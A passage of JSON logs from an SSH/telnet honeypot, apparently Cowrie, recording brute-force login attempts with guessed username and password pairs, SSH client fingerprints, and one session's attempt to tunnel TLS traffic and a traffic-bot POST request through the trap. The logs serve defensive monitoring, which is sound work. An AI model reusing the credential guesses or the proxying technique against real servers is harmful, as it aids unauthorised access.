00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xe2z\\xcbs\\xf2\\x15\\xab~}\\x00\\x85\\x0f\\xcd\\xb9oYdCdh%\\x943p\\x8a\\x90U\\xa8\\xbd\\xdb\\x9b \\x1d\\x9a\\xb2\\xae\\xbb\\xeb\\x8c\\xa1iw\\x835\\x9b\\xfb\\x1a\\x8d>\\xber\\xefn\\xe3\\x89\\x93Z\\x00(]x\\xdcp\\x8b\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaf\\xe9\\xca\\x9f9\\xc4\\xa0\\x04\\xb26O$\\x9c\\\\\\xb5\\xcb\\x1b\\xae{e&N\\xbe\\x84\\xb4\\x0b;0\\xec\\x92\\x1c\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:31.644008Z","src_ip":"63.141.242.2","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:31.688524Z","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:31.724802Z","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:31.729193Z","src_ip":"63.141.242.2","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd5\\x1e\\xe2\\xd9\\xcc~\\xf23\\x8f{\\x06\\x1a(v\\x9c\\xe2\\xea\\x8ab\\xf8\\\\\\xdbT`%\\xdd\\x12\\x875ET\\xbb \\xdau\\xf9\\x1e2C\\xe9\\xe2\\xb2\\xe3\\xa7 \\xd3\\xed\\x12\\xc28\\xf8\\x88\\x8e\\xa08\\xe4+&E \\xe7;\\xdc\\xbf\\xb5\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 *\\nH\\x06r\\x1d\\xf4\\xe1\\xb8\\xb7\\xddy\\x9a\\xd7\\xa8\\xc5l\\xb1\\x82\\xfc\\xee<\\xc4\\xe9Y\\x0ft\\x17\\x8fE~\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd5\\x1e\\xe2\\xd9\\xcc~\\xf23\\x8f{\\x06\\x1a(v\\x9c\\xe2\\xea\\x8ab\\xf8\\\\\\xdbT`%\\xdd\\x12\\x875ET\\xbb \\xdau\\xf9\\x1e2C\\xe9\\xe2\\xb2\\xe3\\xa7 \\xd3\\xed\\x12\\xc28\\xf8\\x88\\x8e\\xa08\\xe4+&E \\xe7;\\xdc\\xbf\\xb5\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 *\\nH\\x06r\\x1d\\xf4\\xe1\\xb8\\xb7\\xddy\\x9a\\xd7\\xa8\\xc5l\\xb1\\x82\\xfc\\xee<\\xc4\\xe9Y\\x0ft\\x17\\x8fE~\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:31.731893Z","src_ip":"63.141.242.2","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:31.814619Z","src_ip":"63.141.242.2","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JS8yMSo4TVl6MjxmI2FQPg%3D%3D3WO8khVnL8yTbpq8YWIjBIiLuD3KkBTyraqLMrPMWfSgEmR3q7MSFW5MKnved5AmnOQn2OM6JTq4bXrohnDha0c8x6f6NqF2JioyKRXLb4OFYF4bVFObLo0VjtAP%2FbeGQrfp6eYHEfxgd10afLG41b0qhU9n%2FOUpuWXCmMgEQQWEkjd1VaPe4mwfGcxdky%2FPSsfQ5iL80PDEYUPEeu77ibFTOjr8vMNHvgOcY2rMXUea6zE6UQ5v2QPSkonGlWAoen%2BojL7qkmpQ9eKiwvN86B4hqthHR%2F0vn0kLhSLKeVYZvyJ8W1I%2FMH45yQuDglTp%2F6Cq0zS2YVjkVXcOneeYO6mqEWa%2FtXhHDQcG7A%2FGuCtQCIxxeiT2nNzyYhUFJV7A21GP1vV6JdzOfe0al0R8DctHOfIdKujYy6YEvHeC8FLPy5lf5kox6mxq0%2B5x6hBKUK00A619Sg3pc1fderbDP6aMRBRakf0QGI7E4KjWuUPmjcZn%2Fv0BxdDg3Ix8K%2FI1v1Kn8BVt%2FBR%2FMYGgf3oV0aYqChiRIOQ2T7ccQQ2fAmjIH60P%2Frw7DD2KfotOgKZzyVjyBalrDnjWaQiE9SU2DN2RzkmugwrBNlvnOzBZartzgjVKorifelFQkeuevT0An%2FiyJ%2FT9mox3g5%2FuGo6%2BxSUdOTEbh6e1HKxPT77gAodT%2BTomRL7QZFId4P%2BgZOZc3v3%2Fv7BJqvamOUms%2FmMs%2FLcdFghGpcPft%2FiyMLXljKDyXoKqphERWZCqLjik0FBZogUswhYWOCVBv6WNURnP4mz6j%2B6X7maJVSACwEF4x%2FVAUok3dCxcWDTNWjwfszo%2FxEBzQ4i5WrgzNXVf2rLD0DwkwxiP%2BDQK9KE9o%2FyNycKu0J9Vim2ODzBn7wd0luziBDMALRM7MwNapF35kqPqVSzBQ3FYR385psUo8VVxXM0FXKtrl0IEu30JtKH6CEob%2B80kQsUZ7xsgJJstkQ1t84VTNLUzngUKvIjd3avKrXC%2BeO1qM9mlNTsj8ekzdVn37ejARAytdQ9SdNloaJA7B7e26VFCwq86kwez4qfooSI%3D'","id":2,"message":"discarded direct-tcp forward request 2 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JS8yMSo4TVl6MjxmI2FQPg%3D%3D3WO8khVnL8yTbpq8YWIjBIiLuD3KkBTyraqLMrPMWfSgEmR3q7MSFW5MKnved5AmnOQn2OM6JTq4bXrohnDha0c8x6f6NqF2JioyKRXLb4OFYF4bVFObLo0VjtAP%2FbeGQrfp6eYHEfxgd10afLG41b0qhU9n%2FOUpuWXCmMgEQQWEkjd1VaPe4mwfGcxdky%2FPSsfQ5iL80PDEYUPEeu77ibFTOjr8vMNHvgOcY2rMXUea6zE6UQ5v2QPSkonGlWAoen%2BojL7qkmpQ9eKiwvN86B4hqthHR%2F0vn0kLhSLKeVYZvyJ8W1I%2FMH45yQuDglTp%2F6Cq0zS2YVjkVXcOneeYO6mqEWa%2FtXhHDQcG7A%2FGuCtQCIxxeiT2nNzyYhUFJV7A21GP1vV6JdzOfe0al0R8DctHOfIdKujYy6YEvHeC8FLPy5lf5kox6mxq0%2B5x6hBKUK00A619Sg3pc1fderbDP6aMRBRakf0QGI7E4KjWuUPmjcZn%2Fv0BxdDg3Ix8K%2FI1v1Kn8BVt%2FBR%2FMYGgf3oV0aYqChiRIOQ2T7ccQQ2fAmjIH60P%2Frw7DD2KfotOgKZzyVjyBalrDnjWaQiE9SU2DN2RzkmugwrBNlvnOzBZartzgjVKorifelFQkeuevT0An%2FiyJ%2FT9mox3g5%2FuGo6%2BxSUdOTEbh6e1HKxPT77gAodT%2BTomRL7QZFId4P%2BgZOZc3v3%2Fv7BJqvamOUms%2FmMs%2FLcdFghGpcPft%2FiyMLXljKDyXoKqphERWZCqLjik0FBZogUswhYWOCVBv6WNURnP4mz6j%2B6X7maJVSACwEF4x%2FVAUok3dCxcWDTNWjwfszo%2FxEBzQ4i5WrgzNXVf2rLD0DwkwxiP%2BDQK9KE9o%2FyNycKu0J9Vim2ODzBn7wd0luziBDMALRM7MwNapF35kqPqVSzBQ3FYR385psUo8VVxXM0FXKtrl0IEu30JtKH6CEob%2B80kQsUZ7xsgJJstkQ1t84VTNLUzngUKvIjd3avKrXC%2BeO1qM9mlNTsj8ekzdVn37ejARAytdQ9SdNloaJA7B7e26VFCwq86kwez4qfooSI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:31.819225Z","src_ip":"63.141.242.2","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59078,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a2d2cae96d4","protocol":"telnet","message":"New connection: 172.81.62.90:59078 (159.203.135.109:23) [session: 0a2d2cae96d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:33.152118Z"}
{"eventid":"cowrie.session.closed","duration":"41.2","message":"Connection lost after 41.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:35.764348Z","src_ip":"63.141.242.2","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":33832,"dst_ip":"159.203.135.109","dst_port":22,"session":"adf935375d64","protocol":"ssh","message":"New connection: 182.93.50.90:33832 (159.203.135.109:22) [session: adf935375d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:50.125171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:50.129845Z","src_ip":"182.93.50.90","session":"adf935375d64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:50.349633Z","src_ip":"182.93.50.90","session":"adf935375d64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39564,"dst_ip":"159.203.135.109","dst_port":23,"session":"f18dbd3271bd","protocol":"telnet","message":"New connection: 172.81.62.90:39564 (159.203.135.109:23) [session: f18dbd3271bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:51.234580Z"}
{"eventid":"cowrie.login.failed","username":"dima","password":"password","message":"login attempt [dima/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:51.259393Z","src_ip":"182.93.50.90","session":"adf935375d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:52.480682Z","src_ip":"182.93.50.90","session":"adf935375d64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":33018,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b836eb15212","protocol":"ssh","message":"New connection: 103.60.242.169:33018 (159.203.135.109:22) [session: 1b836eb15212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:53.990250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:53.996194Z","src_ip":"103.60.242.169","session":"1b836eb15212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:54.250598Z","src_ip":"103.60.242.169","session":"1b836eb15212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"P@ssw0rd@123","message":"login attempt [ansible/P@ssw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:55.302565Z","src_ip":"103.60.242.169","session":"1b836eb15212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:56.559312Z","src_ip":"103.60.242.169","session":"1b836eb15212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":64349,"dst_ip":"10.17.0.5","dst_port":22,"session":"09260e8cf365","protocol":"ssh","message":"New connection: 113.164.152.20:64349 (10.17.0.5:22) [session: 09260e8cf365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:03.703743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:59:03.708201Z","src_ip":"113.164.152.20","session":"09260e8cf365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hma